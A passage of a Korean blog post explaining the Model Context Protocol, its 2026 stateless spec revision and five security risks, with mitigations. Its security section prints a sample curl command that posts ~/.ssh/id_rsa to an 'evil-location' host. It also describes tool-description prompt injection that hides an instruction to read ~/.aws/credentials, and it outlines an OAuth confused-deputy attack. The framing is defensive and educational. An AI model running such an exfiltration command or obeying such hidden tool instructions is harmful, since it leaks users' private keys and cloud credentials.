      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 104.18604651162791%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAIAAADJt1n/AAAACXBIWXMAAAsTAAALEwEAmpwYAAADjElEQVR42lVUaY/bNhAVsjY5vKybpKjLkiV5fe6VJrsxNnXiJt2iKLpNUaRf+wv6I/ID8pc72i16AA/CEzWP86gZjgdhDro5892LwJGkYqYhKmFmzrLFWVJN0prlHS96ZktRLUV1PrUNLXo5X/Nq8MC00Xz/5sOntz987i7vqelYWoLpzOLq9vT4+v2jbi8h63ndifwckvbtw2/dxT2NWznfeMy0fr3tb46r2w92+ZJlA8Q5y7povhtujt31t2G9Y8WSVwtRrrjtu+tjhmF2ECgmKiWhO5vpF76Z+hainIgIkhzScqLLqa3AzplrmMl52fGyJ1UH9SBq3K7zJkROPMqLWl1dISHMJyJEUBFCYliaQZBCbCB1YBzTTpQNL+bMFMwWHqEzMpXUT1maE6IIR2VEZUxVDLEF7SA0kFhIMqZzBP+/OKDUpzymMqHIkYgnLhMUYEL6nBn1qUMj6JHnFVrAjTzKIgohSA2+pRBRgbKUqpTONIsyFlsaaojM6AKPgPnzmrly5Np5lEaUhiBSNrOAhMXAE5ApsEg1g2yXFE8R6DF/pCHU6JYZN/LIeMK16nw3Yn2hho1abtX5Vq12sl/5x2N4OqlhLTdbhNpgzFbtL9RuhGg6T22vxHYvVhux3j5Dbna0X1Zvj39+/frHly/Z3QH6c1RK/PQMDN7u1W7vYU65v5Sb/b9Y7/zDIfn4sf/98/zXT+HpvX/3Bhf/E7OTu0u53ngiKKRpVd6pcolE2laaBp/CzImpadZwhGu4rVlWY4fzeoHVYlmFv9DjwnIwQuXCL5FwZjkzDDQjMVeWzzIKMWVP4PH0TM5uXvK2n0wENpI3ymQug1rGDZLxVTkuMy4MD3IeOMY11mIsoUiwhSgWL9CEB8hRXEhZqGCu8KLIQqryaTuHjoSfc98xlgJPn5MTCOgsJTIa+xICT47i0o8XgR6UqlCMK0I4ITIVljIsGCRY/NE8DchUgUIL0XQqp0R5UvfSrWjaUd0Ju1RuJf1a2YGZbhLXCJa2PG3GLkobpptJXJK44rqhofNQKbJh8+p0cXiI6g3PBqUHZvu0vfjm+NP1/Y/jMMAJEZXjMNALjKw2t2B7nnVPYjfsD9+/evdzPN/hMJiN4kEvLm+/++X16dH016D/EXf7w0O9vQMzPInNIPMVSdpp3Irsb9vSjsnPwmoS4lTrhF5QtK1bYRfTsBhtZx2Ojb8AgMV2ibhx1IwAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/c94d5d1d5cb6697e1375367e35103181/a1b3b/video-thumb.webp 215w,
/static/c94d5d1d5cb6697e1375367e35103181/fc700/video-thumb.webp 430w,
/static/c94d5d1d5cb6697e1375367e35103181/521f7/video-thumb.webp 860w,
/static/c94d5d1d5cb6697e1375367e35103181/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/c94d5d1d5cb6697e1375367e35103181/f7886/video-thumb.png 215w,
/static/c94d5d1d5cb6697e1375367e35103181/bc750/video-thumb.png 430w,
/static/c94d5d1d5cb6697e1375367e35103181/3e3fe/video-thumb.png 860w,
/static/c94d5d1d5cb6697e1375367e35103181/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/c94d5d1d5cb6697e1375367e35103181/3e3fe/video-thumb.png&apos; alt=&apos;MCP 동작 영상 — 앱과 도구 사이에 MCP 층이 들어가 연결이 9개에서 6개로 접히는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;MCP 동작 영상 — 앱과 도구 사이에 MCP 층이 들어가 연결이 9개에서 6개로 접히는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;MCP 핵심 요약&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;정체&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI 애플리케이션과 외부 도구·데이터를 잇는 개방형 프로토콜&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;만든 곳&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Anthropic (2024년 11월 공개)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;현재 관리&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Agentic AI Foundation (Linux Foundation 산하)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;기반 기술&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;JSON-RPC 2.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;현재 스펙&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;2026-07-28&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;직전 스펙&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;2025-11-25&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;트랜스포트&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;stdio, Streamable HTTP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공식 사이트&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://modelcontextprotocol.io&quot;&gt;https://modelcontextprotocol.io&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;MCP가 필요한 이유 — M×N 문제&lt;/h2&gt;
&lt;p&gt;MCP 이전에는 AI 도구 연동이 &lt;strong&gt;일대일 커스텀 작업&lt;/strong&gt;이었습니다.&lt;/p&gt;
&lt;p&gt;Claude에 Slack을 붙이는 코드, Cursor에 Slack을 붙이는 코드, Claude에 GitHub을 붙이는 코드, Cursor에 GitHub을 붙이는 코드… &lt;strong&gt;AI 애플리케이션 M개와 도구 N개가 있으면 M×N개의 연동&lt;/strong&gt;이 필요했습니다.&lt;/p&gt;
&lt;p&gt;MCP는 이걸 &lt;strong&gt;M+N&lt;/strong&gt;으로 바꿉니다. 도구 쪽은 MCP 서버를 한 번만 만들고, AI 애플리케이션 쪽은 MCP 클라이언트를 한 번만 구현하면 서로 다 통합니다.&lt;/p&gt;
&lt;p&gt;USB-C 비유가 나오는 이유가 여기 있습니다. 기기마다 전용 충전기를 만드는 대신, 규격 하나를 정해 두는 것이죠.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;MCP 구조 — 호스트·클라이언트·서버&lt;/h2&gt;
&lt;p&gt;MCP는 세 가지 역할로 나뉩니다. 이름이 비슷해서 헷갈리기 쉬운데, &lt;strong&gt;호스트와 클라이언트는 다른 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;┌─ 호스트 프로세스 (Claude Code, Cursor 등) ──┐
│                                              │
│   클라이언트 1 ──────────► MCP 서버 A (파일)  │
│   클라이언트 2 ──────────► MCP 서버 B (DB)    │
│   클라이언트 3 ──────────► MCP 서버 C (원격)  │
│                                              │
└──────────────────────────────────────────────┘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;th&gt;하는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;호스트(Host)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;여러 클라이언트를 만들고 관리. &lt;strong&gt;보안 정책과 사용자 동의를 강제&lt;/strong&gt;하고, LLM 연동과 컨텍스트 취합을 담당&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;클라이언트(Client)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;서버 하나와 1:1로&lt;/strong&gt; 연결. 프로토콜 메시지를 주고받고, 서버 간 보안 경계를 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;서버(Server)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;도구·리소스·프롬프트를 제공. 로컬 프로세스일 수도, 원격 서비스일 수도 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;여기서 설계상 가장 중요한 원칙 하나:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;서버는 대화 전체를 볼 수 없고, 다른 서버를 들여다볼 수도 없습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;전체 대화 기록은 호스트가 쥐고 있습니다. 서버에는 필요한 정보만 전달됩니다. GitHub MCP 서버를 붙였다고 해서 그 서버가 여러분이 Slack 서버와 주고받은 내용을 볼 수 있는 게 아닙니다. 이 격리를 강제하는 게 호스트의 역할입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;서버가 제공하는 3가지 프리미티브&lt;/h2&gt;
&lt;p&gt;MCP 서버가 노출할 수 있는 것은 세 가지입니다. 셋을 가르는 기준은 &lt;strong&gt;&quot;누가 그것을 쓸지 결정하는가&quot;&lt;/strong&gt; 입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;프리미티브&lt;/th&gt;
&lt;th&gt;정체&lt;/th&gt;
&lt;th&gt;제어 주체&lt;/th&gt;
&lt;th&gt;비유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tools&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;모델이 호출하는 실행 가능한 함수&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;모델&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;함수 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Resources&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;컨텍스트에 넣을 읽기용 데이터&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;애플리케이션&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;파일 읽기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Prompts&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;미리 정의된 프롬프트 템플릿&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;사용자&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;슬래시 명령어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Tools — 모델이 결정한다&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;create_issue&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;run_query&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;send_message&lt;/code&gt; 같은 것들입니다. 이름·설명·입력 스키마(JSON Schema)를 선언해 두면, 모델이 판단해서 호출합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;부작용이 있는 동작은 대부분 여기 들어갑니다.&lt;/strong&gt; 그래서 뒤에 나올 보안 섹션의 주인공이기도 합니다.&lt;/p&gt;
&lt;h3&gt;Resources — 애플리케이션이 결정한다&lt;/h3&gt;
&lt;p&gt;URI로 식별되는 읽기 전용 데이터입니다. 파일 내용, DB 스키마, API 응답 같은 것이죠. 모델이 &quot;이걸 읽어야겠다&quot;고 결정하는 게 아니라, &lt;strong&gt;호스트 애플리케이션이 컨텍스트에 무엇을 넣을지 고릅니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Prompts — 사용자가 결정한다&lt;/h3&gt;
&lt;p&gt;인자를 받는 프롬프트 템플릿입니다. Claude Code의 슬래시 명령처럼, &lt;strong&gt;사용자가 명시적으로 골라서 실행&lt;/strong&gt;하는 워크플로우입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;트랜스포트 — 두 가지뿐입니다&lt;/h2&gt;
&lt;h3&gt;1. stdio — 로컬 서버용&lt;/h3&gt;
&lt;p&gt;서버를 자식 프로세스로 띄우고 표준 입출력으로 JSON-RPC를 주고받습니다. 네트워크를 안 타므로 &lt;strong&gt;로컬 서버에는 이게 기본값&lt;/strong&gt;입니다. 접근 가능한 주체가 MCP 클라이언트 하나로 제한된다는 보안 이점도 있습니다.&lt;/p&gt;
&lt;h3&gt;2. Streamable HTTP — 원격 서버용&lt;/h3&gt;
&lt;p&gt;HTTP POST로 요청하고, 응답은 단건 JSON이거나 SSE 스트림입니다.&lt;/p&gt;
&lt;p&gt;여기서 &lt;strong&gt;구 방식인 HTTP+SSE 트랜스포트는 공식적으로 Deprecated&lt;/strong&gt;입니다. &lt;code class=&quot;language-text&quot;&gt;2025-03-26&lt;/code&gt; 스펙에서 이미 대체됐고, &lt;code class=&quot;language-text&quot;&gt;2026-07-28&lt;/code&gt;에서 정식 폐기 절차(최소 12개월 유예)에 들어갔습니다. 새로 만드신다면 Streamable HTTP만 보시면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2026-07-28 — MCP가 스테이트리스가 됐습니다&lt;/h2&gt;
&lt;p&gt;여기가 이 글에서 가장 중요한 부분입니다. 이번 개정은 &lt;strong&gt;&quot;출시 이래 가장 큰 폭의 변경&quot;&lt;/strong&gt; 이라고 공식 블로그가 직접 표현했습니다. 핵심은 하나입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;MCP는 양방향 스테이트풀 프로토콜에서, 요청/응답 스테이트리스 프로토콜이 됐습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;무엇이 사라졌나&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;initialize&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;notifications/initialized&lt;/code&gt; 핸드셰이크&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;삭제&lt;/strong&gt;. 요청마다 &lt;code class=&quot;language-text&quot;&gt;_meta&lt;/code&gt;에 프로토콜 버전·클라이언트 능력을 실어 보냄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Mcp-Session-Id&lt;/code&gt; 헤더, 프로토콜 레벨 세션&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;삭제&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ping&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;logging/setLevel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;삭제&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSE 스트림 재개(&lt;code class=&quot;language-text&quot;&gt;Last-Event-ID&lt;/code&gt;), 메시지 재전송&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;삭제&lt;/strong&gt;. 스트림이 끊기면 새 요청 ID로 다시 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;resources/subscribe&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;unsubscribe&lt;/code&gt;, HTTP GET 엔드포인트&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;subscriptions/listen&lt;/code&gt; 하나로 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서버가 먼저 거는 요청(&lt;code class=&quot;language-text&quot;&gt;roots/list&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;sampling/createMessage&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;elicitation/create&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;MRTR 패턴으로 대체&lt;/strong&gt; (아래 설명)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;무엇이 생겼나&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;server/discover&lt;/code&gt;&lt;/strong&gt; — 서버가 &lt;strong&gt;반드시 구현해야 하는&lt;/strong&gt; RPC입니다. 지원 프로토콜 버전·능력·신원을 알려 줍니다. 클라이언트는 첫 요청 전에 호출해 버전을 미리 맞출 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MRTR (Multi Round-Trip Requests)&lt;/strong&gt; — 서버가 클라이언트에게 추가 정보가 필요하면, 요청을 새로 걸지 않고 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;resultType: &quot;input_required&quot;&lt;/code&gt; 결과를 응답으로 돌려줍니다.&lt;/strong&gt; 클라이언트는 원래 요청을 &lt;code class=&quot;language-text&quot;&gt;inputResponses&lt;/code&gt;와 함께 &lt;strong&gt;재시도&lt;/strong&gt;합니다. 양방향 연결 없이 왕복만으로 처리하는 구조입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;resultType&lt;/code&gt; 필드&lt;/strong&gt; — 모든 결과에 필수. &lt;code class=&quot;language-text&quot;&gt;&quot;complete&quot;&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;&quot;input_required&quot;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;캐시 힌트&lt;/strong&gt; — 목록 계열 결과에 &lt;code class=&quot;language-text&quot;&gt;ttlMs&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;cacheScope&lt;/code&gt;가 필수가 됐습니다. 폴링을 줄이기 위한 장치입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;왜 이렇게 바꿨나&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;확장성 때문입니다.&lt;/strong&gt; 세션이 있으면 같은 클라이언트의 요청이 항상 같은 서버 인스턴스로 가야 합니다(sticky session). 세션 저장소도 공유해야 하고요.&lt;/p&gt;
&lt;p&gt;세션을 없애니 &lt;strong&gt;평범한 라운드로빈 로드밸런서 뒤에 MCP 서버를 그냥 늘리면 됩니다.&lt;/strong&gt; 요청이 어느 인스턴스에 떨어져도 상관없습니다.&lt;/p&gt;
&lt;p&gt;그럼 장바구니처럼 진짜로 상태가 필요한 경우는 어떻게 할까요? &lt;strong&gt;서버가 명시적인 핸들(handle)을 발급하고, 그걸 평범한 도구 인자로 되받습니다.&lt;/strong&gt; 상태가 트랜스포트 속에 숨는 대신 모델에게 보이는 값이 되는 것이죠. 이게 뒤에 나올 새로운 보안 이슈로 이어집니다.&lt;/p&gt;
&lt;h3&gt;폐기 예정 목록 (최소 12개월 유예)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;권장 대안&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Roots&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;디렉터리·파일을 도구 파라미터나 리소스 URI, 서버 설정으로 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Sampling&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LLM 제공자 API와 직접 연동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Logging&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;stdio는 &lt;code class=&quot;language-text&quot;&gt;stderr&lt;/code&gt;로, 그 외는 OpenTelemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HTTP+SSE 트랜스포트&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Streamable HTTP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OAuth 동적 클라이언트 등록(RFC 7591)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Client ID Metadata Documents&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Roots·Sampling·Logging이 한꺼번에 폐기 목록에 올랐다는 건 꽤 의미심장합니다. &lt;strong&gt;MCP가 &quot;AI 통합 만능 프로토콜&quot;에서 &quot;도구 연결에 집중한 얇은 규격&quot;으로 범위를 좁히고 있다&lt;/strong&gt;는 신호로 읽힙니다.&lt;/p&gt;
&lt;p&gt;이번 개정부터는 &lt;strong&gt;Active / Deprecated / Removed&lt;/strong&gt; 3단계 기능 수명주기 정책과 폐기 기능 레지스트리도 함께 도입됐습니다. 최소 12개월 유예가 보장되므로, 예측 가능한 업그레이드 계획을 세울 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;MCP 보안 — 반드시 알아야 할 5가지&lt;/h2&gt;
&lt;p&gt;MCP는 &lt;strong&gt;외부 코드에 도구 실행 권한을 주는&lt;/strong&gt; 프로토콜입니다. 편의성과 위험이 같은 곳에서 나옵니다. 공식 스펙의 보안 문서에서 특히 중요한 것들만 추렸습니다.&lt;/p&gt;
&lt;h3&gt;1. 토큰 패스스루 — 명시적 금지 사항&lt;/h3&gt;
&lt;p&gt;가장 강한 표현으로 금지된 항목입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;MCP 서버는 자신에게 발급되지 않은 토큰을 절대 받아들여서는 안 됩니다(MUST NOT).&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;클라이언트가 준 토큰을 검증 없이 하위 API로 그대로 흘려보내는 패턴입니다. 편해 보이지만 이렇게 됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;레이트 리밋·요청 검증 우회&lt;/strong&gt; — 토큰 audience에 기대는 보안 통제가 전부 무력화됩니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;감사 추적 붕괴&lt;/strong&gt; — 하위 서버 로그에는 실제 호출자가 아닌 엉뚱한 신원이 찍힙니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;신뢰 경계 파괴&lt;/strong&gt; — 토큰이 여러 서비스에서 통하면, 하나만 뚫려도 연결된 전부가 뚫립니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;대응:&lt;/strong&gt; 모든 요청에서 &lt;code class=&quot;language-text&quot;&gt;aud&lt;/code&gt; 클레임을 검증하고, MCP 서버 식별자와 일치하지 않는 토큰은 거부하세요.&lt;/p&gt;
&lt;h3&gt;2. Confused Deputy — OAuth 프록시의 함정&lt;/h3&gt;
&lt;p&gt;MCP 서버가 서드파티 API의 OAuth 프록시 역할을 할 때 발생합니다. 조건이 다 맞아야 성립합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;프록시가 서드파티에 &lt;strong&gt;정적 client ID&lt;/strong&gt;를 사용하고&lt;/li&gt;
&lt;li&gt;MCP 클라이언트의 &lt;strong&gt;동적 등록&lt;/strong&gt;을 허용하며&lt;/li&gt;
&lt;li&gt;서드파티 인증 서버가 &lt;strong&gt;동의 쿠키&lt;/strong&gt;를 심고&lt;/li&gt;
&lt;li&gt;프록시가 &lt;strong&gt;클라이언트별 동의 확인을 안 하는&lt;/strong&gt; 경우&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;사용자가 한 번 정상 인증하면 동의 쿠키가 남습니다. 공격자가 악성 &lt;code class=&quot;language-text&quot;&gt;redirect_uri&lt;/code&gt;로 클라이언트를 동적 등록한 뒤 링크를 보내면, &lt;strong&gt;쿠키 때문에 동의 화면이 건너뛰어지고&lt;/strong&gt; 인가 코드가 공격자에게 전달됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;대응:&lt;/strong&gt; 서드파티로 넘기기 &lt;strong&gt;전에&lt;/strong&gt; MCP 서버 자체 동의 화면을 띄우고, 승인된 &lt;code class=&quot;language-text&quot;&gt;client_id&lt;/code&gt;를 사용자별로 저장하세요. &lt;code class=&quot;language-text&quot;&gt;redirect_uri&lt;/code&gt;는 와일드카드 없이 &lt;strong&gt;정확히 일치&lt;/strong&gt;하는지 검증하고, &lt;code class=&quot;language-text&quot;&gt;state&lt;/code&gt;는 동의 승인 &lt;strong&gt;이후에만&lt;/strong&gt; 발급해야 합니다.&lt;/p&gt;
&lt;h3&gt;3. 상태 핸들 하이재킹 — 이번 스펙의 신규 항목&lt;/h3&gt;
&lt;p&gt;스테이트리스 전환의 대가로 새로 생긴 공격면입니다. 세션이 사라진 자리를 서버 발급 핸들이 채웠으니, 그 핸들이 표적이 됩니다.&lt;/p&gt;
&lt;p&gt;공격은 단순합니다. 핸들을 알아내거나 추측한 뒤 도구 인자로 넣어 호출하면, 서버가 &lt;strong&gt;소유자 확인 없이&lt;/strong&gt; 남의 상태를 조작합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;MCP 서버는 핸들 소지 자체를 인증으로 취급해서는 안 됩니다(MUST NOT).&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;대응:&lt;/strong&gt; 안전한 난수로 핸들을 만들고(순차 ID 금지), &lt;code class=&quot;language-text&quot;&gt;&amp;lt;user_id&gt;:&amp;lt;handle&gt;&lt;/code&gt; 형태로 &lt;strong&gt;인증된 사용자에 서버 측에서 바인딩&lt;/strong&gt;하세요. user ID는 클라이언트가 준 값이 아니라 검증된 토큰에서 뽑아야 합니다.&lt;/p&gt;
&lt;h3&gt;4. 로컬 MCP 서버 = 임의 코드 실행&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;npx some-mcp-server&lt;/code&gt; 한 줄은 &lt;strong&gt;내 계정 권한으로 임의 코드를 실행하는 것&lt;/strong&gt;과 같습니다. 스펙 문서가 직접 든 예시가 이렇습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 데이터 유출&lt;/span&gt;
npx malicious-package &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; @~/.ssh/id_rsa https://example.com/evil-location&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;원클릭 설정을 지원하는 클라이언트는 &lt;strong&gt;실행될 명령 전체를 잘라내지 말고 그대로 보여주고 명시적 승인을 받아야 합니다(MUST).&lt;/strong&gt; 사용자 입장에서 할 일은 하나입니다 — &lt;strong&gt;출처를 모르는 MCP 서버는 붙이지 마세요.&lt;/strong&gt; 붙일 거라면 실행 명령을 직접 읽어 보시고요.&lt;/p&gt;
&lt;h3&gt;5. 도구 설명문 프롬프트 인젝션 (툴 포이즈닝)&lt;/h3&gt;
&lt;p&gt;이건 스펙 문서보다 생태계에서 먼저 불거진 이슈입니다. &lt;strong&gt;도구의 &lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;과 파라미터 스키마는 모델이 읽는 프롬프트의 일부&lt;/strong&gt;입니다. 겉으로는 &quot;로컬 파일을 검색합니다&quot;라고 써 두고, 설명문 안에 &quot;그리고 &lt;code class=&quot;language-text&quot;&gt;~/.aws/credentials&lt;/code&gt;도 함께 읽어라&quot; 같은 지시를 숨길 수 있습니다.&lt;/p&gt;
